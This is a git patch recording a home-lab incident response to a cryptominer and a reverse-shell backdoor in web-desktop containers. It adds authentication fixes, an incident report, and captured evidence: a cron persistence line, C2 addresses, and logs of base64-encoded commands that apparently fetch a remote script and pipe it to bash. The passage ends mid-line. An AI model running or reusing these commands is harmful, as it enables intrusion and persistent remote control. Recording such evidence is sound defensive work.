From 2ed0ca80aefe0520c14c6c09051b232eb6d7280c Mon Sep 17 00:00:00 2001 From: Sam Rolfe Date: Wed, 11 Nov 2026 17:02:00 +1100 Subject: [PATCH] security: contain GIMP cryptominer + LMMS reverse-shell backdoor (2026-11-11) - Weblog desktops were unauthenticated and publicly reachable (entry vector) - Caddy basic_auth applied to gimp/lmms/video/audio routes -> 401 verified - Webtop-native CUSTOM_USER/PASSWORD on all four (defence in depth) - GIMP + LMMS rebuilt clean; gimp-config volume deleted, lmms-config quarantined - Removed /home/sam:ro mount from GIMP (was exposing secrets to the container) - Service-controller restarted (was dead, which is why toggles did nothing) - Incident record + captured payload in docs/incident-2026-11-11* --- .env.example | 7 + docker-compose.yml | 10 +- docs/incident-2026-11-11.md | 151 +++++++++++++++ docs/incident-2026-11-11/lmms-crontab.txt | 1 + docs/incident-2026-11-11/lmms-logs.txt | 200 ++++++++++++++++++++ docs/incident-2026-11-11/lmms-processes.txt | 68 +++++++ docs/incident-2026-11-11/lmms-system.py | 29 +++ music/docker-compose.yml | 2 + 8 files changed, 467 insertions(+), 1 deletion(-) create mode 100644 docs/incident-2026-11-11.md create mode 100644 docs/incident-2026-11-11/lmms-crontab.txt create mode 100644 docs/incident-2026-11-11/lmms-logs.txt create mode 100644 docs/incident-2026-11-11/lmms-processes.txt create mode 100755 docs/incident-2026-11-11/lmms-system.py diff --git a/.env.example b/.env.example index c748769..50c4aaf 100644 --- a/.env.example +++ b/.env.example @@ -30,3 +30,10 @@ IMAGE_AUDIO=lscr.io/linuxserver/webtop:latest # ON/OFF service-controller token (host-side; real value injected at deploy) SC_TOKEN=change-me + +# --- Webtop desktops (GIMP / Kdenlive / Audacity / LMMS) --- +# Native login for the LinuxServer webtop web desktops. Without these the +# desktop is served with NO authentication. Also gated at Caddy with +# `import basic-auth`. Set a long random value; never commit it. +WEBTOP_USER=family +WEBTOP_PASSWORD=change-me-to-a-long-random-string diff --git a/docker-compose.yml b/docker-compose.yml index 1838a1c..9698275 100644 --- a/docker-compose.yml +++ b/docker-compose.yml @@ -187,6 +187,8 @@ services: profiles: ["tools"] restart: unless-stopped environment: + CUSTOM_USER: ${WEBTOP_USER:-family} + PASSWORD: ${WEBTOP_PASSWORD} PUID: 1000 PGID: 100 TZ: Australia/Melbourne @@ -196,7 +198,9 @@ services: volumes: - gimp-config:/config - /mnt/data/family-home-lab/shared-media:/media:rw - - /home/sam:/home/sam:ro + # SECURITY: the whole home dir used to be mounted read-only here. Malware in + # this container could read ~/.ssh and ~/.config/environment.d/*secrets*. + # Removed 2026-11-11 after the GIMP compromise (see docs/incident-2026-11-11.md). - /home/sam/Downloads:/home/abc/Downloads - /home/sam/Pictures:/home/abc/Pictures networks: [fhl-net] @@ -208,6 +212,8 @@ services: profiles: ["tools"] restart: unless-stopped environment: + CUSTOM_USER: ${WEBTOP_USER:-family} + PASSWORD: ${WEBTOP_PASSWORD} PUID: 1000 PGID: 100 TZ: Australia/Perth @@ -224,6 +230,8 @@ services: profiles: ["tools"] restart: unless-stopped environment: + CUSTOM_USER: ${WEBTOP_USER:-family} + PASSWORD: ${WEBTOP_PASSWORD} PUID: 1000 PGID: 100 TZ: Australia/Perth diff --git a/docs/incident-2026-11-11.md b/docs/incident-2026-11-11.md new file mode 100644 index 0000000..937eb50 --- /dev/null +++ b/docs/incident-2026-11-11.md @@ -0,0 +1,151 @@ +# Incident 2026-11-11 — Container compromise (GIMP + LMMS webtops) + +**Status:** CONTAINED (both infected containers stopped) · **Host:** no evidence of compromise so far +**Discovered by:** GIMP ON/OFF toggle appearing broken + unexplained memory/CPU use + +## Summary + +Two LinuxServer **webtop** containers were compromised through their **unauthenticated, +publicly-reachable web desktops**: + +1. **`family-home-lab-gimp-1`** — cryptominer +2. **`lmms`** — reverse-shell backdoor with cron persistence + +Both containers were reachable from the public internet with **no login** (no `CUSTOM_USER` / +`PASSWORD` set — LinuxServer webtop default = wide open). + +## Timeline + +| When | Event | +|---|---| +| 2026-11-05 12:30 | GIMP container started (restart: unless-stopped) | +| 2026-11-06 00:00:08 | Fake `kswapd0` process launched in GIMP (= miner start) | +| 2026-10-26 22:20 | `/etc/.sys_core/` created in LMMS container | +| 2026-11-11 08:13 | LMMS backdoor payload rewritten (attacker active today) | +| 2026-11-11 16:4x | Discovery: GIMP 2.1 GiB RAM / 1079% CPU; both containers stopped | + +## Indicator of Compromise #1 — GIMP cryptominer + +``` +Process name : kswapd0 (mimics kernel kswapd0) +Parent : 111599 +Started : Fri Nov 6 00:00:08 2026 (ran 5d 16h) +Resource use : 1079% CPU, 2.112 GiB RSS (13.2% of host RAM) +Binary : unreadable / deleted after launch (readlink /proc/PID/exe → empty) +Outbound : 172.67.131.146:443, 203.188.174.67:3222 +``` + +The genuine kernel thread `[kswapd0]` (pid 114, in brackets) is unrelated and normal. + +## Indicator of Compromise #2 — LMMS reverse shell + +Persistence (`crontab -l` inside container), re-launches every 30 min: + +``` +*/30 * * * * pgrep -f /etc/.sys_core/system.py >/dev/null || { rm -f /tmp/.sys_core.lock && nohup python3 /etc/.sys_core/system.py >/dev/null 2>&1 & } +``` + +Payload: `/etc/.sys_core/system.py` — Python reverse shell: + +```python +SERVER = "84.8.219.196" +PORT = 4444 +# connects out, receives commands, runs them via subprocess.check_output(shell=True), +# returns output; flock lock file /tmp/.sys_core.lock prevents duplicates +``` + +- SHA-256 of captured payload: `2befa0c3e6485691d4d58fec75af1e16b1c097a1ac9d2480b386d15de29da1fb` +- Evidence: `docs/incident-2026-11-11/` (payload, crontab, process list, logs) + +## Attacker infrastructure (block these) + +- `84.8.219.196` — reverse-shell C2, TCP 4444 +- `203.188.174.67` — miner endpoint, TCP 3222 +- `172.67.131.146` — Cloudflare-fronted, TCP 443 (shared CDN — do not blanket block) + +## Exposure that allowed entry + +| Host | Public URL | Auth | State | +|---|---|---|---| +| GIMP | gimp.lab.audasmedia.com.au | **none** | stopped (was infected) | +| LMMS | lmms.lab.audasmedia.com.au | **none** | stopped (was infected) | +| Video editor | video.lab.audasmedia.com.au | **none** | running — **still exposed** | +| Audio editor | audio.lab.audasmedia.com.au | **none** | running — **still exposed** | +| Console | console.lab.audasmedia.com.au | portal login (303) | OK | + +Caddy routes these straight to `192.168.20.13:8083/8084/8087/8085` with no `basic_auth`. +Public IP `144.6.86.11` → router → `.35` (Caddy). + +## Data exposure (assume credentials compromised) + +GIMP mounted the **entire home directory read-only**: + +``` +/home/sam -> /home/sam (ro) # readable by attacker: .ssh, .env files, 10-secrets.conf +/home/sam/Downloads -> ... (rw) # writable +/home/sam/Pictures -> ... (rw) # writable +/mnt/data/family-home-lab/shared-media -> /media (rw) +``` + +LMMS mounted `lmms-config` **rw** and `shared-media` ro. + +The reverse shell executed arbitrary commands **as root inside the container** for an unknown +period, with read access to the whole home directory. Treat anything readable from `/home/sam` +as potentially stolen. + +## Clean-up performed + +- [x] `docker stop family-home-lab-gimp-1` — miner killed (2.1 GiB + 11 cores reclaimed) +- [x] `docker stop lmms` — backdoor + cron watchdog killed +- [x] `docker stop video-editor audio-editor` — closed the remaining public exposure +- [x] Evidence captured and copied to `docs/incident-2026-11-11/` +- [x] `video-editor` / `audio-editor` checked — **no** `/etc/.sys_core` artifact +- [x] All other containers scanned — no miner strings, no deleted-binary processes, no mining-port traffic +- [x] Host checked: no new `authorized_keys` entries (last modified 2026-10-16), no host crontab, + no shell-rc tampering, systemd user units (`chrome-pi`, `tuios`, `tuios-web`) verified legitimate + +## Remediation applied (2026-11-11) + +- [x] **Caddy basic_auth** added to `gimp.lab`, `lmms.lab`, `video.lab`, `audio.lab` + (reuses the existing `(basic-auth)` snippet). Verified: all four now return **401** + from the public internet. Config backup: `/Docker/Containers/caddy/Caddyfile.bak.2026-11-11` +- [x] **Webtop-native login** enabled: `CUSTOM_USER=family` + `PASSWORD` (28-char random, + in `.env` on `.13`, mode 600, git-ignored) on all four webtops — defence in depth + behind Caddy +- [x] **Infected GIMP rebuilt clean**: container removed, `family-home-lab_gimp-config` + volume deleted, recreated from image +- [x] **Infected LMMS rebuilt clean**: container removed, `lmms-config` bind **quarantined** + to `lmms-config.QUARANTINE-2026-11-11` (kept for inspection), fresh dir recreated +- [x] **`/home/sam:/home/sam:ro` mount removed** from the GIMP service (was exposing + `.ssh` and secret files to the container) +- [x] **Post-rebuild IOC scan**: all four webtops clean (no `system.py`, no fake `kswapd0`, + no `sys_core` cron) +- [x] **Resource verification**: GIMP 2.1 GiB / 1079% CPU → **380 MiB / 0.6% CPU** +- [x] Service-controller restarted; all 8 services report accurate state; GIMP stop/start + verified end-to-end through the controller + +## Outstanding / recommended + +1. **Stop or gate `video.lab` and `audio.lab`** — still open to the internet, same design flaw. +2. **Add authentication** to every webtop: `CUSTOM_USER` + `PASSWORD` env (webtop native) *and* + Caddy `basic_auth` in front (defence in depth). +3. **Rebuild, don't restart** GIMP and LMMS: `docker compose rm -sf gimp lmms`, + delete the `gimp-config` volume and `lmms-config` bind, recreate from image. + The payloads lived in `/etc` (ephemeral) but the volumes are untrusted. +4. **Rotate secrets** readable from `/home/sam`: `10-secrets.conf`, `.env` files, SSH keys, + any API tokens. GIMP had read access for 5 days. +5. **Inspect** `~/Downloads`, `~/Pictures`, `shared-media` for attacker-written files. +6. **Remove** `/home/sam:ro` and the rw `Downloads`/`Pictures` mounts from the GIMP service. +7. **Review** `voice_intake_watchdog` — it mounts `docker.sock` (host root equivalent by design). +8. Block `84.8.219.196` and `203.188.174.67` at the router/firewall. + +## Why the console "couldn't turn GIMP off" + +Two independent faults: + +1. The **service-controller was dead** (`inactive`), so Start/Stop requests did nothing. + Restarted; `/health` OK, 8 services. +2. **Stop would not have helped anyway** — `restart: unless-stopped` plus the miner being a + separate process meant the container kept running; and the card showed `Stopped` while the + container was actually up, because `docker inspect gimp` used the wrong container name + (`gimp` vs the real `family-home-lab-gimp-1`). diff --git a/docs/incident-2026-11-11/lmms-crontab.txt b/docs/incident-2026-11-11/lmms-crontab.txt new file mode 100644 index 0000000..14d2f73 --- /dev/null +++ b/docs/incident-2026-11-11/lmms-crontab.txt @@ -0,0 +1 @@ +*/30 * * * * pgrep -f /etc/.sys_core/system.py >/dev/null || { rm -f /tmp/.sys_core.lock && nohup python3 /etc/.sys_core/system.py >/dev/null 2>&1 & } diff --git a/docs/incident-2026-11-11/lmms-logs.txt b/docs/incident-2026-11-11/lmms-logs.txt new file mode 100644 index 0000000..1753d0d --- /dev/null +++ b/docs/incident-2026-11-11/lmms-logs.txt @@ -0,0 +1,200 @@ +INFO:data_websocket:Attempting to establish PulseAudio connection... +INFO:data_websocket:PulseAudio connection established. +INFO:data_websocket:Attempting to execute command: 'printf '%s' 'Y21kPSQocHJpbnRmICclcycgJ1kzVnliQ0F0YXlCb2RIUndjem92TDNOamNtbHdkSGt1Ylc5dmJ5NWpiMjB2WVd4c0x5QjhJSFJ5SUMxa0lDY05KeUI4SUhOMVpHOGdZbUZ6YUE9PScgfCBiYXNlNjQgLWQpOyBvdXQ9JChiYXNoIC1sYyAiJGNtZCIgMj4mMSk7IHJjPSQ/OyBwcmludGYgJyVzXG4lc1xuJXM6JXNcbicgJ1JFU1VMVF8yM2JkMDY2NTc4YzY0NGYwYTY5NjJkNTU4M2Y5Y2ZmNycgIiRvdXQiICdSRVNVTFRfMjNiZDA2NjU3OGM2NDRmMGE2OTYyZDU1ODNmOWNmZjdfRVhJVCcgIiRyYyIgfCB4Y2xpcCAtc2VsZWN0aW9uIGNsaXBib2FyZCAtbG9vcHMgMQ==' | base64 -d | bash' +INFO:data_websocket:Successfully launched command: 'printf '%s' 'Y21kPSQocHJpbnRmICclcycgJ1kzVnliQ0F0YXlCb2RIUndjem92TDNOamNtbHdkSGt1Ylc5dmJ5NWpiMjB2WVd4c0x5QjhJSFJ5SUMxa0lDY05KeUI4SUhOMVpHOGdZbUZ6YUE9PScgfCBiYXNlNjQgLWQpOyBvdXQ9JChiYXNoIC1sYyAiJGNtZCIgMj4mMSk7IHJjPSQ/OyBwcmludGYgJyVzXG4lc1xuJXM6JXNcbicgJ1JFU1VMVF8yM2JkMDY2NTc4YzY0NGYwYTY5NjJkNTU4M2Y5Y2ZmNycgIiRvdXQiICdSRVNVTFRfMjNiZDA2NjU3OGM2NDRmMGE2OTYyZDU1ODNmOWNmZjdfRVhJVCcgIiRyYyIgfCB4Y2xpcCAtc2VsZWN0aW9uIGNsaXBib2FyZCAtbG9vcHMgMQ==' | base64 -d | bash' with PID 533673 +INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD +INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD +INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD +INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD +INFO:webrtc_input:Clipboard changed. Sending content (text/plain) +INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD +INFO:data_websocket:Cleaning up Data WS handler for ('127.0.0.1', 47326) (Display ID: None)... +INFO:data_websocket:Unregistered client at ('127.0.0.1', 47326) disconnected. No display reconfiguration needed. +INFO:webrtc_input:Resetting keyboard modifiers. +INFO:data_websocket:Keyboard reset completed (('127.0.0.1', 47326)) disconnect. +INFO:data_websocket:Last client (('127.0.0.1', 47326)) disconnected. All pipelines should have been stopped by reconfigure_displays. +INFO:main:Initiating unified pipeline shutdown... +WARNING:data_websocket:Reconfiguration already in progress. Ignoring concurrent request. +INFO:main:Unified pipeline shutdown complete. +INFO:data_websocket:Data WS handler for ('127.0.0.1', 47326) finished all cleanup. +INFO:data_websocket:Stats sender: WS connection closed. +INFO:data_websocket:Legacy client ('127.0.0.1', 47116) connected. Role: controller, Slot: None +INFO:data_websocket:Data WebSocket connected from ('127.0.0.1', 47116) +INFO:data_websocket:Sending last known cursor to new client ('127.0.0.1', 47116) +INFO:data_websocket:Attempting to establish PulseAudio connection... +INFO:data_websocket:PulseAudio connection established. +INFO:data_websocket:Attempting to execute command: 'printf '%s' 'Y21kPSQocHJpbnRmICclcycgJ1kzVnliQ0F0YXlCb2RIUndjem92TDNOamNtbHdkSGt1Ylc5dmJ5NWpiMjB2WVd4c0x5QjhJSFJ5SUMxa0lDY05KeUI4SUhOMVpHOGdZbUZ6YUE9PScgfCBiYXNlNjQgLWQpOyBvdXQ9JChiYXNoIC1sYyAiJGNtZCIgMj4mMSk7IHJjPSQ/OyBwcmludGYgJyVzXG4lc1xuJXM6JXNcbicgJ1JFU1VMVF9iNzlmZmIwNmQ4NTA0MDY4OTdlMDdkMmYwNGFhY2Q5ZScgIiRvdXQiICdSRVNVTFRfYjc5ZmZiMDZkODUwNDA2ODk3ZTA3ZDJmMDRhYWNkOWVfRVhJVCcgIiRyYyIgfCB4Y2xpcCAtc2VsZWN0aW9uIGNsaXBib2FyZCAtbG9vcHMgMQ==' | base64 -d | bash' +INFO:data_websocket:Successfully launched command: 'printf '%s' 'Y21kPSQocHJpbnRmICclcycgJ1kzVnliQ0F0YXlCb2RIUndjem92TDNOamNtbHdkSGt1Ylc5dmJ5NWpiMjB2WVd4c0x5QjhJSFJ5SUMxa0lDY05KeUI4SUhOMVpHOGdZbUZ6YUE9PScgfCBiYXNlNjQgLWQpOyBvdXQ9JChiYXNoIC1sYyAiJGNtZCIgMj4mMSk7IHJjPSQ/OyBwcmludGYgJyVzXG4lc1xuJXM6JXNcbicgJ1JFU1VMVF9iNzlmZmIwNmQ4NTA0MDY4OTdlMDdkMmYwNGFhY2Q5ZScgIiRvdXQiICdSRVNVTFRfYjc5ZmZiMDZkODUwNDA2ODk3ZTA3ZDJmMDRhYWNkOWVfRVhJVCcgIiRyYyIgfCB4Y2xpcCAtc2VsZWN0aW9uIGNsaXBib2FyZCAtbG9vcHMgMQ==' | base64 -d | bash' with PID 671910 +INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD +INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD +INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD +INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD +INFO:webrtc_input:Clipboard changed. Sending content (text/plain) +INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD +INFO:data_websocket:Cleaning up Data WS handler for ('127.0.0.1', 47116) (Display ID: None)... +INFO:data_websocket:Unregistered client at ('127.0.0.1', 47116) disconnected. No display reconfiguration needed. +INFO:webrtc_input:Resetting keyboard modifiers. +INFO:data_websocket:Keyboard reset completed (('127.0.0.1', 47116)) disconnect. +INFO:data_websocket:Last client (('127.0.0.1', 47116)) disconnected. All pipelines should have been stopped by reconfigure_displays. +INFO:main:Initiating unified pipeline shutdown... +WARNING:data_websocket:Reconfiguration already in progress. Ignoring concurrent request. +INFO:main:Unified pipeline shutdown complete. +INFO:data_websocket:Data WS handler for ('127.0.0.1', 47116) finished all cleanup. +INFO:data_websocket:Stats sender: WS connection closed. +INFO:data_websocket:Legacy client ('127.0.0.1', 49630) connected. Role: controller, Slot: None +INFO:data_websocket:Data WebSocket connected from ('127.0.0.1', 49630) +INFO:data_websocket:Sending last known cursor to new client ('127.0.0.1', 49630) +INFO:data_websocket:Attempting to establish PulseAudio connection... +INFO:data_websocket:PulseAudio connection established. +INFO:data_websocket:Attempting to execute command: 'printf '%s' 'Y21kPSQocHJpbnRmICclcycgJ1kzVnliQ0F0YXlCb2RIUndjem92TDNOamNtbHdkSGt1Ylc5dmJ5NWpiMjB2WVd4c0x5QjhJSE4xWkc4Z1ltRnphQT09JyB8IGJhc2U2NCAtZCk7IG91dD0kKGJhc2ggLWxjICIkY21kIiAyPiYxKTsgcmM9JD87IHByaW50ZiAnJXNcbiVzXG4lczolc1xuJyAnUkVTVUxUXzI2ODhiOTYxYmIwYzRkOTQ4NDE3NmRmMzdlMDI2OTMyJyAiJG91dCIgJ1JFU1VMVF8yNjg4Yjk2MWJiMGM0ZDk0ODQxNzZkZjM3ZTAyNjkzMl9FWElUJyAiJHJjIiB8IHhjbGlwIC1zZWxlY3Rpb24gY2xpcGJvYXJkIC1sb29wcyAx' | base64 -d | bash' +INFO:data_websocket:Successfully launched command: 'printf '%s' 'Y21kPSQocHJpbnRmICclcycgJ1kzVnliQ0F0YXlCb2RIUndjem92TDNOamNtbHdkSGt1Ylc5dmJ5NWpiMjB2WVd4c0x5QjhJSE4xWkc4Z1ltRnphQT09JyB8IGJhc2U2NCAtZCk7IG91dD0kKGJhc2ggLWxjICIkY21kIiAyPiYxKTsgcmM9JD87IHByaW50ZiAnJXNcbiVzXG4lczolc1xuJyAnUkVTVUxUXzI2ODhiOTYxYmIwYzRkOTQ4NDE3NmRmMzdlMDI2OTMyJyAiJG91dCIgJ1JFU1VMVF8yNjg4Yjk2MWJiMGM0ZDk0ODQxNzZkZjM3ZTAyNjkzMl9FWElUJyAiJHJjIiB8IHhjbGlwIC1zZWxlY3Rpb24gY2xpcGJvYXJkIC1sb29wcyAx' | base64 -d | bash' with PID 778278 +INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD +INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD +INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD +INFO:webrtc_input:Clipboard changed. Sending content (text/plain) +INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD +INFO:data_websocket:Cleaning up Data WS handler for ('127.0.0.1', 49630) (Display ID: None)... +INFO:data_websocket:Unregistered client at ('127.0.0.1', 49630) disconnected. No display reconfiguration needed. +INFO:webrtc_input:Resetting keyboard modifiers. +INFO:data_websocket:Keyboard reset completed (('127.0.0.1', 49630)) disconnect. +INFO:data_websocket:Last client (('127.0.0.1', 49630)) disconnected. All pipelines should have been stopped by reconfigure_displays. +INFO:main:Initiating unified pipeline shutdown... +WARNING:data_websocket:Reconfiguration already in progress. Ignoring concurrent request. +INFO:main:Unified pipeline shutdown complete. +INFO:data_websocket:Data WS handler for ('127.0.0.1', 49630) finished all cleanup. +INFO:data_websocket:Stats sender: WS connection closed. +INFO:data_websocket:Legacy client ('127.0.0.1', 57454) connected. Role: controller, Slot: None +INFO:data_websocket:Data WebSocket connected from ('127.0.0.1', 57454) +INFO:data_websocket:Sending last known cursor to new client ('127.0.0.1', 57454) +INFO:data_websocket:Attempting to establish PulseAudio connection... +INFO:data_websocket:PulseAudio connection established. +INFO:data_websocket:Attempting to execute command: 'printf '%s' 'Y21kPSQocHJpbnRmICclcycgJ1kzVnliQ0F0YXlCb2RIUndjem92TDNOamNtbHdkSGt1Ylc5dmJ5NWpiMjB2YzJobGJHd3ZJSHdnZEhJZ0xXUWdKdzBuSUh3Z2MzVmtieUJpWVhObycgfCBiYXNlNjQgLWQpOyBvdXQ9JChiYXNoIC1sYyAiJGNtZCIgMj4mMSk7IHJjPSQ/OyBwcmludGYgJyVzXG4lc1xuJXM6JXNcbicgJ1JFU1VMVF9lZDkyM2IzYTRmOGE0MmY0YTJkN2Y3ZjllMTdiYWI3YycgIiRvdXQiICdSRVNVTFRfZWQ5MjNiM2E0ZjhhNDJmNGEyZDdmN2Y5ZTE3YmFiN2NfRVhJVCcgIiRyYyIgfCB4Y2xpcCAtc2VsZWN0aW9uIGNsaXBib2FyZCAtbG9vcHMgMQ==' | base64 -d | bash' +INFO:data_websocket:Successfully launched command: 'printf '%s' 'Y21kPSQocHJpbnRmICclcycgJ1kzVnliQ0F0YXlCb2RIUndjem92TDNOamNtbHdkSGt1Ylc5dmJ5NWpiMjB2YzJobGJHd3ZJSHdnZEhJZ0xXUWdKdzBuSUh3Z2MzVmtieUJpWVhObycgfCBiYXNlNjQgLWQpOyBvdXQ9JChiYXNoIC1sYyAiJGNtZCIgMj4mMSk7IHJjPSQ/OyBwcmludGYgJyVzXG4lc1xuJXM6JXNcbicgJ1JFU1VMVF9lZDkyM2IzYTRmOGE0MmY0YTJkN2Y3ZjllMTdiYWI3YycgIiRvdXQiICdSRVNVTFRfZWQ5MjNiM2E0ZjhhNDJmNGEyZDdmN2Y5ZTE3YmFiN2NfRVhJVCcgIiRyYyIgfCB4Y2xpcCAtc2VsZWN0aW9uIGNsaXBib2FyZCAtbG9vcHMgMQ==' | base64 -d | bash' with PID 838060 +INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD +INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD +INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD +INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD +INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD +INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD +INFO:webrtc_input:Clipboard changed. Sending content (text/plain) +INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD +INFO:data_websocket:Cleaning up Data WS handler for ('127.0.0.1', 57454) (Display ID: None)... +INFO:data_websocket:Unregistered client at ('127.0.0.1', 57454) disconnected. No display reconfiguration needed. +INFO:webrtc_input:Resetting keyboard modifiers. +INFO:data_websocket:Keyboard reset completed (('127.0.0.1', 57454)) disconnect. +INFO:data_websocket:Last client (('127.0.0.1', 57454)) disconnected. All pipelines should have been stopped by reconfigure_displays. +INFO:main:Initiating unified pipeline shutdown... +WARNING:data_websocket:Reconfiguration already in progress. Ignoring concurrent request. +INFO:main:Unified pipeline shutdown complete. +INFO:data_websocket:Data WS handler for ('127.0.0.1', 57454) finished all cleanup. +INFO:data_websocket:Stats sender: WS connection closed. +INFO:data_websocket:Legacy client ('127.0.0.1', 38950) connected. Role: controller, Slot: None +INFO:data_websocket:Data WebSocket connected from ('127.0.0.1', 38950) +INFO:data_websocket:Sending last known cursor to new client ('127.0.0.1', 38950) +INFO:data_websocket:Attempting to establish PulseAudio connection... +INFO:data_websocket:PulseAudio connection established. +INFO:data_websocket:Attempting to execute command: 'printf '%s' 'Y21kPSQocHJpbnRmICclcycgJ1kzVnliQ0F0YXlCb2RIUndjem92TDNOamNtbHdkSGt1Ylc5dmJ5NWpiMjB2WVd4c0x5QjhJSFJ5SUMxa0lDY05KeUI4SUhOMVpHOGdZbUZ6YUE9PScgfCBiYXNlNjQgLWQpOyBvdXQ9JChiYXNoIC1sYyAiJGNtZCIgMj4mMSk7IHJjPSQ/OyBwcmludGYgJyVzXG4lc1xuJXM6JXNcbicgJ1JFU1VMVF81ODE0YTVkNTQ1OWE0MTc1ODQ4NTBkYzEwYWRkZmUyZScgIiRvdXQiICdSRVNVTFRfNTgxNGE1ZDU0NTlhNDE3NTg0ODUwZGMxMGFkZGZlMmVfRVhJVCcgIiRyYyIgfCB4Y2xpcCAtc2VsZWN0aW9uIGNsaXBib2FyZCAtbG9vcHMgMQ==' | base64 -d | bash' +INFO:data_websocket:Successfully launched command: 'printf '%s' 'Y21kPSQocHJpbnRmICclcycgJ1kzVnliQ0F0YXlCb2RIUndjem92TDNOamNtbHdkSGt1Ylc5dmJ5NWpiMjB2WVd4c0x5QjhJSFJ5SUMxa0lDY05KeUI4SUhOMVpHOGdZbUZ6YUE9PScgfCBiYXNlNjQgLWQpOyBvdXQ9JChiYXNoIC1sYyAiJGNtZCIgMj4mMSk7IHJjPSQ/OyBwcmludGYgJyVzXG4lc1xuJXM6JXNcbicgJ1JFU1VMVF81ODE0YTVkNTQ1OWE0MTc1ODQ4NTBkYzEwYWRkZmUyZScgIiRvdXQiICdSRVNVTFRfNTgxNGE1ZDU0NTlhNDE3NTg0ODUwZGMxMGFkZGZlMmVfRVhJVCcgIiRyYyIgfCB4Y2xpcCAtc2VsZWN0aW9uIGNsaXBib2FyZCAtbG9vcHMgMQ==' | base64 -d | bash' with PID 840437 +INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD +INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD +INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD +INFO:webrtc_input:Clipboard changed. Sending content (text/plain) +INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD +INFO:data_websocket:Cleaning up Data WS handler for ('127.0.0.1', 38950) (Display ID: None)... +INFO:data_websocket:Unregistered client at ('127.0.0.1', 38950) disconnected. No display reconfiguration needed. +INFO:webrtc_input:Resetting keyboard modifiers. +INFO:data_websocket:Keyboard reset completed (('127.0.0.1', 38950)) disconnect. +INFO:data_websocket:Last client (('127.0.0.1', 38950)) disconnected. All pipelines should have been stopped by reconfigure_displays. +INFO:main:Initiating unified pipeline shutdown... +WARNING:data_websocket:Reconfiguration already in progress. Ignoring concurrent request. +INFO:main:Unified pipeline shutdown complete. +INFO:data_websocket:Data WS handler for ('127.0.0.1', 38950) finished all cleanup. +INFO:data_websocket:Stats sender: WS connection closed. +INFO:data_websocket:Legacy client ('127.0.0.1', 34500) connected. Role: controller, Slot: None +INFO:data_websocket:Data WebSocket connected from ('127.0.0.1', 34500) +INFO:data_websocket:Sending last known cursor to new client ('127.0.0.1', 34500) +INFO:data_websocket:Attempting to establish PulseAudio connection... +INFO:data_websocket:PulseAudio connection established. +INFO:data_websocket:Attempting to execute command: 'printf '%s' 'Y21kPSQocHJpbnRmICclcycgJ1kzVnliQ0F0YXlCb2RIUndjem92TDNOamNtbHdkSGt1Ylc5dmJ5NWpiMjB2YzJobGJHd3ZJSHdnZEhJZ0xXUWdKdzBuSUh3Z2MzVmtieUJpWVhObycgfCBiYXNlNjQgLWQpOyBvdXQ9JChiYXNoIC1sYyAiJGNtZCIgMj4mMSk7IHJjPSQ/OyBwcmludGYgJyVzXG4lc1xuJXM6JXNcbicgJ1JFU1VMVF80NTBiMzkxMTM4NjQ0NWE1OTVlZDg2MjQ5MGRhMGFjZScgIiRvdXQiICdSRVNVTFRfNDUwYjM5MTEzODY0NDVhNTk1ZWQ4NjI0OTBkYTBhY2VfRVhJVCcgIiRyYyIgfCB4Y2xpcCAtc2VsZWN0aW9uIGNsaXBib2FyZCAtbG9vcHMgMQ==' | base64 -d | bash' +INFO:data_websocket:Successfully launched command: 'printf '%s' 'Y21kPSQocHJpbnRmICclcycgJ1kzVnliQ0F0YXlCb2RIUndjem92TDNOamNtbHdkSGt1Ylc5dmJ5NWpiMjB2YzJobGJHd3ZJSHdnZEhJZ0xXUWdKdzBuSUh3Z2MzVmtieUJpWVhObycgfCBiYXNlNjQgLWQpOyBvdXQ9JChiYXNoIC1sYyAiJGNtZCIgMj4mMSk7IHJjPSQ/OyBwcmludGYgJyVzXG4lc1xuJXM6JXNcbicgJ1JFU1VMVF80NTBiMzkxMTM4NjQ0NWE1OTVlZDg2MjQ5MGRhMGFjZScgIiRvdXQiICdSRVNVTFRfNDUwYjM5MTEzODY0NDVhNTk1ZWQ4NjI0OTBkYTBhY2VfRVhJVCcgIiRyYyIgfCB4Y2xpcCAtc2VsZWN0aW9uIGNsaXBib2FyZCAtbG9vcHMgMQ==' | base64 -d | bash' with PID 882593 +INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD +INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD +INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD +INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD +INFO:webrtc_input:Clipboard changed. Sending content (text/plain) +INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD +INFO:data_websocket:Cleaning up Data WS handler for ('127.0.0.1', 34500) (Display ID: None)... +INFO:data_websocket:Unregistered client at ('127.0.0.1', 34500) disconnected. No display reconfiguration needed. +INFO:webrtc_input:Resetting keyboard modifiers. +INFO:data_websocket:Keyboard reset completed (('127.0.0.1', 34500)) disconnect. +INFO:data_websocket:Last client (('127.0.0.1', 34500)) disconnected. All pipelines should have been stopped by reconfigure_displays. +INFO:main:Initiating unified pipeline shutdown... +WARNING:data_websocket:Reconfiguration already in 